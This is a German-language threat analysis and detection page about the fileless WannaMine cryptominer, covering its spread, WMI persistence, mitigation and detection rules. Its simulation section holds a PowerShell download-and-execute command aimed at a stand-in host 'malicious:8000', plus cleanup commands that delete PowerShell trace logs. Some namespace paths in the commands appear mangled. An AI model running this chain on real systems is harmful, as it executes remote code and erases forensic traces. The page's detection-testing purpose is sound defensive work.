WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
WannaMine ist ein dateiloser Kryptomining-Wurm, der auf Living-off-the-Land-Tools setzt – hauptsächlich PowerShell und Windows Management Instrumentation (WMI) – um speicherresident zu bleiben und Monero zu minen.
Untersuchung
WannaMine wird entweder durch Phishing-E-Mails mit bösartigen Batch-Dateien verbreitet oder durch Ausnutzung der EternalBlue-SMB-Sicherheitslücke. Für Persistenz registriert es WMI-Ereignisabonnements und speichert codiertes PowerShell in benutzerdefinierten WMI-Klassen.
WannaMine-Minderung
Verhindern Sie die Ausnutzung von EternalBlue durch das Patchen von SMB (MS17-010). Beschränken Sie die PowerShell-Ausführung und -Überwachung, beobachten Sie ungewöhnliche WMI-Klassenerstellungen und Ereignis-Consumer und erzwingen Sie das Prinzip des geringsten Privilegs, um die missbräuchliche Verwendung von Anmeldeinformationen zu begrenzen.
Antwort
Alarmieren Sie bei abnormalem PowerShell/WMI-Verhalten, isolieren Sie betroffene Hosts, entfernen Sie bösartige WMI-Ereignis-Consumer/-Abonnements, rotieren Sie potenziell exponierte Anmeldeinformationen und führen Sie Speicher-Forensik durch, um den im Speicher befindlichen Miner zu bestätigen.
Angriffsfluss
Erkennungen
Download oder Upload über PowerShell (über cmdline)
Ansehen
Verdächtige Modifikation der Energieeinstellungen (über cmdline)
Ansehen
LOLBAS wmic (über cmdline)
Ansehen
Verdächtiger Dateidownload mit direkter IP (über Proxy)
Ansehen
IOCs (HashMd5) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (E-Mails) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (SourceIP) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (DestinationIP) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
Erkennung von WannaMine Fileless Cryptojacking [Prozesserstellung unter Windows]
Ansehen
Erkennen Sie WannaMine Fileless Cryptominer PowerShell-Ausführung [Windows PowerShell]
Ansehen
Simulationsausführung
Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Überprüfung muss bestanden sein.
Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Vorgehensweise des Gegners (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer erlangt Remote-Code-Ausführung auf einem Windows-Endpunkt. Um Benutzerinteraktionen zu vermeiden, starten sie PowerShell in einem versteckten Fenster (-W Hidden) ohne Profil (-NoP) und nicht-interaktiv (-NonI). Der Befehl verwendetIEXum eine PowerShell-Nutzlast von einem bösartigen HTTP-Server herunterzuladen (http://malicious:8000/in6.ps1). Das heruntergeladene Skript registriert eine WMI-Klasse namensOffice_Updaterunterrootdefaultdie eine Eigenschaft speichertmondie einen Base64-codierten Monero-Miner enthält. Der Angreifer liest dann die Eigenschaft über[WmiClass]und führt sie aus, was effektiv den Kryptominer startet, ohne einen neuen Prozess zu erstellen. Diese Sequenz entspricht den drei Kommandozeilen-Substrings der Erkennungsregel. -
Regressionstestskript:
#------------------------------------------------- # Simulation der Ausführung eines dateilosen WannaMine-Kryptominers #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Versteckte, nicht-interaktive PowerShell-Ausführung $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Befehl ausführen (dies ist, was der Angreifer ausführen würde) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Hinweis: Das Remote-Skript (in6.ps1) wird angenommen, dass es die WMI-Klasse erstellt # mit einer "mon"-Eigenschaft, die den Mining-Code enthält. -
Bereinigungsbefehle:
# Entfernen der bösartigen WMI-Klasse Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Beenden von verbleibenden PowerShell-Miner-Prozessen (falls welche gestartet wurden) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Optional: Löschen von während des Tests erstellten PowerShell-Transkript-/Protokolldateien Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue